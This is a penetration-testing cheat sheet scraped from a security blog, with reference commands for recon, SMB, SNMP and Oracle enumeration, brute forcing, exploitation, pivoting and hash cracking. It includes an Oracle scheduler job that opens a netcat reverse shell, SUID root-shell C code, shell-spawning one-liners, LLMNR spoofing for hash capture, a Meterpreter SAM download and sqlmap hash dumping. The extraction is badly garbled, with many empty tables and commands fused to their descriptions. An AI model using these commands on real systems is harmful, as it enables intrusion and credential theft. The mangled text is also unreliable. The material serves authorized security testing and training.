Pentesting Cheatsheet
Pentesting Cheatsheet
BLOG
ABOUT
SERVICES
Introduction
Penetration testing tools cheat sheet, a quick reference high level overview for typical
penetration testing engagements. Designed as a quick reference cheat sheet providing a high
level overview of the typical commands a third-party pen test company would run when
performing a manual infrastructure penetration test. For more in depth information I’d
recommend the man file for the tool or a more specific pen testing cheat sheet from the menu on
the right.
The focus of this cheat sheet is infrastructure / network penetration testing, web application
penetration testing is not covered here apart from a few sqlmap commands at the end and some
web server enumeration. For Web Application Penetration Testing, check out the Web
Application Hackers Hand Book, it is excellent for both learning and reference.
If I’m missing any pen testing tools here give me a nudge on twitter.
Changelog
16/09/2020 - fixed some formatting issues (more coming soon I promise). 17/02/2017 - Article
updated, added loads more content, VPN, DNS tunneling, VLAN hopping etc - check out the
TOC below.
Introduction
o Changelog
Pre-engagement
o Network Configuration
Set IP Address
Subnetting
OSINT
o Passive Information Gathering
DNS
WHOIS enumeration
Perform DNS IP Lookup
Perform MX Record Lookup
Perform Zone Transfer with DIG
DNS Zone Transfers
o Email
Simply Email
o Semi Active Information Gathering
Basic Finger Printing
Banner grabbing with NC
o Active Information Gathering
DNS Bruteforce
DNSRecon
Port Scanning
Nmap Commands
Nmap UDP Scanning
UDP Protocol Scanner
Other Host Discovery
Enumeration & Attacking Network Services
o SAMB / SMB / Windows Domain Enumeration
Samba Enumeration
SMB Enumeration Tools
Fingerprint SMB Version
Find open SMB Shares
Enumerate SMB Users
Manual Null session testing:
NBTScan unixwiz
o LLMNR / NBT-NS Spoofing
Metasploit LLMNR / NetBIOS requests
Responder.py
o SNMP Enumeration Tools
SNMPv3 Enumeration Tools
o R Services Enumeration
RSH Enumeration
RSH Run Commands
Metasploit RSH Login Scanner
rusers Show Logged in Users
rusers scan whole Subnet
o Finger Enumeration
Finger a Specific Username
Solaris bug that shows all logged in users:
o rwho
TLS & SSL Testing
o testssl.sh
Vulnerability Assessment
Database Penetration Testing
o Oracle
Fingerprint Oracle TNS Version
Brute force oracle user accounts
Oracle Privilege Escalation
Identify default accounts within oracle db using NMAP NSE
scripts:
How to identify the current privilege level for an oracle user:
Oracle priv esc and obtain DBA access:
Run the exploit with a select query:
Remove the exploit using:
Get Oracle Reverse os-shell:
o MSSQL
Bruteforce MSSQL Login
Metasploit MSSQL Shell
Network
o Plink.exe Tunnel
o Pivoting
SSH Pivoting
Meterpreter Pivoting
o TTL Finger Printing
o IPv4 Cheat Sheets
Classful IP Ranges
IPv4 Private Address Ranges
IPv4 Subnet Cheat Sheet
o VLAN Hopping
o VPN Pentesting Tools
IKEForce
IKE Aggressive Mode PSK Cracking
Step 1: Idenitfy IKE Servers
Step 2: Enumerate group name with IKEForce
Step 3: Use ike-scan to capture the PSK hash
Step 4: Use psk-crack to crack the PSK hash
PPTP Hacking
NMAP PPTP Fingerprint:
PPTP Dictionary Attack
o DNS Tunneling
Attacking Machine
BOF / Exploit
Exploit Research
o Searching for Exploits
o Compiling Windows Exploits on Kali
o Cross Compiling Exploits
o Exploiting Common Vulnerabilities
Exploiting Shellshock
cat file (view file contents)
Shell Shock run bind shell
Shell Shock reverse Shell
Simple Local Web Servers
Mounting File Shares
HTTP / HTTPS Webserver Enumeration
Packet Inspection
Username Enumeration
o SMB User Enumeration
o SNMP User Enumeration
Passwords
o Wordlists
Brute Forcing Services
o Hydra FTP Brute Force
o Hydra POP3 Brute Force
o Hydra SMTP Brute Force
Password Cracking
o John The Ripper - JTR
Windows Penetration Testing Commands
Linux Penetration Testing Commands
Compiling Exploits
o Identifying if C code is for Windows or Linux
o Build Exploit GCC
o GCC Compile 32Bit Exploit on 64Bit Kali
o Compile Windows .exe on Linux
SUID Binary
o SUID C Shell for /bin/bash
o SUID C Shell for /bin/sh
o Building the SUID Shell binary
Reverse Shells
TTY Shells
o Python TTY Shell Trick
o Spawn Interactive sh shell
o Spawn Perl TTY Shell
o Spawn Ruby TTY Shell
o Spawn Lua TTY Shell
o Spawn TTY Shell from Vi
o Spawn TTY Shell NMAP
Metasploit Cheat Sheet
o Meterpreter Payloads
o Windows reverse meterpreter payload
o Windows VNC Meterpreter payload
o Linux Reverse Meterpreter payload
Meterpreter Cheat Sheet
Common Metasploit Modules
o Remote Windows Metasploit Modules (exploits)
o Local Windows Metasploit Modules (exploits)
o Auxilary Metasploit Modules
o Metasploit Powershell Modules
o Post Exploit Windows Metasploit Modules
ASCII Table Cheat Sheet
CISCO IOS Commands
Cryptography
o Hash Lengths
o Hash Examples
SQLMap Examples
Pre-engagement
Network Configuration
Set IP Address
ifconfig eth0 xxx.xxx.xxx.xxx/24
Subnetting
ipcalc xxx.xxx.xxx.xxx/24
ipcalc xxx.xxx.xxx.xxx 255.255.255.0
OSINT
Passive Information Gathering
DNS
WHOIS enumeration
whois domain-name-here.com
COMMAND DESCRIPTION
nslookup -> set type=any -> ls -d blah.com Windows DNS zone transfer
Simply Email
Use Simply Email to enumerate all the online places (github, target site etc), it works better if
you use proxies or set long throttle times so google doesn’t think you’re a robot and make you
fill out a Captcha.
Simply Email can verify the discovered email addresss after gathering.
COMMAND DESCRIPTION
nc -v 192.168.1.1 25
Basic versioning / finger printing via displayed banner
telnet 192.168.1.1 25
nc TARGET-IP 80
GET / HTTP/1.1
Host: TARGET-IP
User-Agent: Mozilla/5.0
Referrer: meh-domain
<enter>
DNSRecon
Nmap Commands
For more commands, see the Nmap cheat sheet (link in the menu on the right).
COMMAND DESCRIPTION
nmap -v -sU -sS -p- -A -T4 As above but scans all TCP ports and UDP scan (takes even
target longer)
nmap -v -p 445 --
script=smb-check-vulns Nmap script to scan for vulnerable SMB servers -
--script-args=unsafe=1 WARNING: unsafe=1 may cause knockover
192.168.1.X
ls
/usr/share/nmap/scripts/* | Search nmap scripts for keywords
grep ftp
I’ve had a few people mention about T4 scans, apply common sense here. Don’t use T4
commands on external pen tests (when using an Internet connection), you’re probably better off
using a T2 with a TCP connect scan. A T4 scan would likely be better suited for an internal pen
test, over low latency links with plenty of bandwidth. But it all depends on the target devices,
embeded devices are going to struggle if you T4 / T5 them and give inconclusive results. As a
general rule of thumb, scan as slowly as you can, or do a fast scan for the top 1000 so you can
start pen testing then kick off a slower scan.
./udp-protocol-scanner.pl -f ip.txt
COMMAND DESCRIPTION
netdiscover -r Discovers IP, MAC Address and MAC vendor on the subnet from
192.168.1.0/24 ARP, helpful for confirming you're on the right VLAN at $client site
nmblookup -A target
smbclient //MOUNT/share -I target -N
rpcclient -U "" target
enum4linux target
Also see, nbtscan cheat sheet (right hand menu).
COMMAND DESCRIPTION
smbclient -L //192.168.1.100
python /usr/share/doc/python-impacket-doc/examples
/samrdump.py 192.168.XXX.XXX
RID Cycling:
use auxiliary/scanner/smb/smb_lookupsid
Windows:
net use \\TARGET\IPC$ "" /u:""
Linux:
smbclient -L //192.168.99.131
NBTScan unixwiz
auxiliary/spoof/llmnr/llmnr_response
auxiliary/spoof/nbns/nbns_response
auxiliary/server/capture/smb
auxiliary/server/capture/http_ntlm
You’ll end up with NTLMv2 hash, use john or hashcat to crack it.
Responder.py
COMMAND DESCRIPTION
Rory McCune’s snmpwalk wrapper script helps automate the username enumeration process for
SNMPv3:
R Services Enumeration
nmap -A will perform all the rservices enumeration listed below, this section has been added for
completeness or manual confirmation:
RSH Enumeration
auxiliary/scanner/rservices/rsh_login
Finger Enumeration
finger @TARGET-IP
finger batman@TARGET-IP
finger 0@host
SunOS: RPC services allow user enum:
$ rusers # users logged onto LAN
rwho
Test all the things on a single host and output to a .html file:
Vulnerability Assessment
Install OpenVAS 8 on Kali Rolling:
apt-get update
apt-get dist-upgrade -y
apt-get install openvas
openvas-setup
netstat -tulpn
Oracle
Install oscanner:
Run oscanner:
Install tnscmd10g:
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Requirements:
4. The function will be executed by SYS user (as that’s the user that owns the table).
In the example below the user SCOTT is used but this should be possible with another default
Oracle account.
nmap --script=oracle-sid-brute
nmap --script=oracle-brute
Login using the identified weak account (assuming you find one).
You should have a DBA user with creds user1 and pass1.
Verify you have DBA privileges by re-running the first command again.
begin
dbms_scheduler.create_job( job_name => 'MEH1337',job_type
=>
'EXECUTABLE',job_action => '/bin/nc',number_of_arguments =>
4,start_date =>
SYSTIMESTAMP,enabled => FALSE,auto_drop => TRUE);
dbms_scheduler.set_job_argument_value('rev_shell', 1, 'TARGET-
IP');
dbms_scheduler.set_job_argument_value('rev_shell', 2, '443');
dbms_scheduler.set_job_argument_value('rev_shell', 3, '-e');
dbms_scheduler.set_job_argument_value('rev_shell', 4,
'/bin/bash');
dbms_scheduler.enable('rev_shell');
end;
MSSQL
Enumeration / Discovery:
Nmap:
Metasploit:
Network
Plink.exe Tunnel
Pivoting
SSH Pivoting
Meterpreter Pivoting
Windows 128
Linux 64
Solaris 255
CLASS RANGE
127.0.0.0 - 127.255.255.255
Subnet cheat sheet, not really realted to pen testing but a useful reference.
VLAN Hopping
Using NCCGroups VLAN wrapper script for Yersina simplifies the process.
IKEForce
Install:
ike-scan
ike-scan TARGET-IP
ike-scan -A TARGET-IP
ike-scan -A TARGET-IP --id=myid -P TARGET-IP-key
3. Use ike-scan to capture the PSK hash from the IKE endpoint
psk-crack hash-file.txt
pskcrack
psk-crack -b 5 TARGET-IPkey
psk-crack -b 5 --
charset="01233456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqr
stuvwxyz" 192-168-207-134key
psk-crack -d /path/to/dictionary-file TARGET-IP-key
PPTP Hacking
DNS Tunneling
dnscat2 supports “download” and “upload” commands for getting files (data and programs) to
and from the target machine.
Attacking Machine
Installtion:
apt-get update
apt-get -y install ruby-dev git make g++
gem install bundler
git clone https://github.com/iagox86/dnscat2.git
cd dnscat2/server
bundle install
Run dnscat2:
ruby ./dnscat2.rb
dnscat2> New session established: 1422
dnscat2> session -i 1422
Target Machine:
https://downloads.skullsecurity.org/dnscat2/ https://github.com/lukebaggett/dnscat2-powershell/
BOF / Exploit
Exploit Research
Find exploits for enumerated hosts / services.
COMMAND DESCRIPTION
searchsploit windows 2003 | grep Search exploit-db for exploit, in this example
-i local windows 2003 + local esc
site:exploit-db.com exploit
Use google to search exploit-db.com for exploits
kernel <= 3
grep -R "W7"
Search metasploit modules using grep - msf search
/usr/share/metasploit-framework
sucks a bit
/modules/exploit/windows/*
searchsploit –u
searchsploit apache 2.2
searchsploit "Linux Kernel"
searchsploit linux 2.6 | grep -i ubuntu | grep local
wget -O mingw-get-setup.exe
http://sourceforge.net/projects/mingw/files/Installer/mingw-get-
setup.exe/download
wine mingw-get-setup.exe
select mingw32-base
cd /root/.wine/drive_c/windows
wget http://gojhonny.com/misc/mingw_bin.zip && unzip
mingw_bin.zip
cd /root/.wine/drive_c/MinGW/bin
wine gcc -o ability.exe /tmp/exploit.c -lwsock32
wine ability.exe
Cross Compiling Exploits
nc -l -p 443
ruby -rwebrick -e
"WEBrick::HTTPServer.new
Run a ruby webrick basic http server
(:Port => 80, :DocumentRoot =>
Dir.pwd).start"
COMMAND DESCRIPTION
mount
192.168.1.1:/vol/share Mount NFS share to /mnt/nfs
/mnt/nfs
mount -t cifs -o
username=user,password=pass Mount Windows CIFS / SMB share on Linux
,domain=blah at /mnt/cifs if you remove password it will prompt on
//192.168.1.X/share-name the CLI (more secure as it wont end up in bash_history)
/mnt/cifs
apt-get install smb4k -y Install smb4k on Kali, useful Linux GUI for browsing
COMMAND DESCRIPTION
SMB shares
COMMAND DESCRIPTION
dirbuster Configure via GUI, CLI input doesn't work most of the time
Packet Inspection
COMMAND DESCRIPTION
Username Enumeration
Some techniques used to remotely enumerate users on a target system.
COMMAND DESCRIPTION
python /usr/share/doc/python-impacket-
doc/examples Enumerate users from SMB
/samrdump.py 192.168.XXX.XXX
ridenum.py 192.168.XXX.XXX 500 50000 RID cycle SMB / enumerate users from
dict.txt SMB
python /usr/share/doc/python-impacket-
doc/examples/ Enmerate users from SNMP
samrdump.py SNMP 192.168.X.XXX
Passwords
Wordlists
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
192.168.X.XXX pop3 -V
COMMAND DESCRIPTION
Password Cracking
Password cracking penetration testing tools.
COMMAND DESCRIPTION
Compiling Exploits
Some notes on compiling exploits.
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
gcc -m32 exploit.c -o exploit Cross compile 32 bit binary on 64 bit Linux
SUID Binary
Often SUID C binary files are required to spawn a shell as a superuser, you can update the UID /
GID and shell as required.
below are some quick copy and pate examples for various shells:
int main(void){
setresuid(0, 0, 0);
system("/bin/bash");
}
int main(void){
setresuid(0, 0, 0);
system("/bin/sh");
}
For 32 bit:
Reverse Shells
See Reverse Shell Cheat Sheet for a list of useful Reverse Shells.
TTY Shells
Tips / Tricks to spawn a TTY shell from a limited shell in Linux, useful for running commands
like su from reverse shells.
/bin/sh -i
exec "/bin/sh";
perl —e 'exec "/bin/sh";'
exec "/bin/sh"
os.execute('/bin/sh')
:!bash
!sh
Meterpreter Payloads
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
download c:\\windows\\repair\\
Meterpreter download file from Windows target
sam /tmp
sam /tmp
COMMAND DESCRIPTION
use
MS08_040 Windows NT, 2k, XP, 2003
exploit/windows/dcerpc/ms06_040_neta
Remote Exploit
pi
COMMAND DESCRIPTION
COMMAND DESCRIPTION
COMMAND DESCRIPTION
use
Metasploit JBOSS vulnerability scanner
auxiliary/scanner/http/jboss_vulnscan
use
Metasploit MSSQL Version Scanner
auxiliary/scanner/mysql/mysql_version
use
Metasploit Oracle Login Module
auxiliary/scanner/oracle/oracle_login
COMMAND DESCRIPTION
COMMAND DESCRIPTION
run
Idenitfy other machines that the supplied
post/windows/gather/local_admin_search_e
domain user has administrative access to
num
ASCII CHARACTER
x08 BS
ASCII CHARACTER
x09 TAB
x0a LF
x0d CR
x1b ESC
x20 SPC
x21 !
x22 "
x23 #
x24 $
x25 %
x26 &
x27 `
x28 (
x29 )
x2a *
x2b +
x2c ,
x2d -
x2e .
x2f /
ASCII CHARACTER
x30 0
x31 1
x32 2
x33 3
x34 4
x35 5
x36 6
x37 7
x38 8
x39 9
x3a :
x3b ;
x3c <
x3d =
x3e >
x3f ?
x40 @
x41 A
x42 B
x43 C
ASCII CHARACTER
x44 D
x45 E
x46 F
x47 G
x48 H
x49 I
x4a J
x4b K
x4c L
x4d M
x4e N
x4f O
x50 P
x51 Q
x52 R
x53 S
x54 T
x55 U
x56 V
x57 W
ASCII CHARACTER
x58 X
x59 Y
x5a Z
x5b [
x5c \
x5d ]
x5e ^
x5f _
x60 `
x61 a
x62 b
x63 c
x64 d
x65 e
x66 f
x67 g
x68 h
x69 i
x6a j
x6b k
ASCII CHARACTER
x6c l
x6d m
x6e n
x6f o
x70 p
x71 q
x72 r
x73 s
x74 t
x75 u
x76 v
x77 w
x78 x
x79 y
x7a z
COMMAND DESCRIPTION
Cryptography
Hash Lengths
HASH SIZE
Hash Examples
Likely just use hash-identifier for this but here are some example hashes:
HASH EXAMPLE
cac35ec206d868b7d7cb0b55f31d9425b075082b:5363620
SHA1 $SALT:$PASS
024
HASH EXAMPLE
127e6fbfe24a750e72930c220a8e138275656b
SHA-256
8e5d8f48a98c3c92df2caba935
c73d08de890479518ed60cf670d17faa26a4a7
SHA-256 $PASS:$SALT
1f995c1dcc978165399401a6c4
eb368a2dfd38b405f014118c7d9747fcc97f4
SHA-256 $SALT:$PASS
f0ee75c05963cd9da6ee65ef498:560407001617
82a9dda829eb7f8ffe9fbe49e45d47d2dad9
664fbb7adf72492e3c81ebd3e29134d9bc
SHA-512
12212bf83c6840f10e8246b9db54a4
859b7ccd0123d86e5872c1e5082f
e5c3ede3e49fb86592fb03f471c35ba13e8
d89b8ab65142c9a8fdafb635fa2223c24e5
SHA-512 $PASS:$SALT
558fd9313e8995019dcbec1fb58414
6b7bb12685c7765fc8c0d51379fd
976b451818634a1e2acba682da3fd6ef
a72adf8a7a08d7939550c244b237c72c7d4236754
SHA-512 $SALT:$PASS
4e826c0c83fe5c02f97c0373b6b1
386cc794bf0d21d2df01bb9c08a
SQLMap Examples
A mini SQLMap cheat sheet:
COMMAND DESCRIPTION
risk=3
sqlmap -o -u "http://meh.com/form/" --
sqlmap check form for injection
forms
sqlmap -o -u "http://meh/vuln-form" --
sqlmap dump and crack hashes for table
forms
users on database-name.
-D database-name -T users --dump
Follow Arr0way
Twitter GitHub
Also...
kali linux HowTo: Kali Linux Chromium Install for Web App Pen Testing
All Blog
Cheat Sheets
Techniques
Security Hardening
WalkThroughs
CHEAT SHEETS
WALKTHROUGHS
TECHNIQUES
SECURITY HARDENING
/DEV/URANDOM
OTHER BLOG
HowTo: Kali Linux Chromium Install for Web App Pen Testing
Jenkins RCE via Unauthenticated API
MacBook - Post Install Config + Apps
enum4linux Cheat Sheet
Linux Local Enumeration Script
HowTo Install Quassel on Ubuntu
HowTo Install KeepNote on OSX Mavericks
Proudly hosted by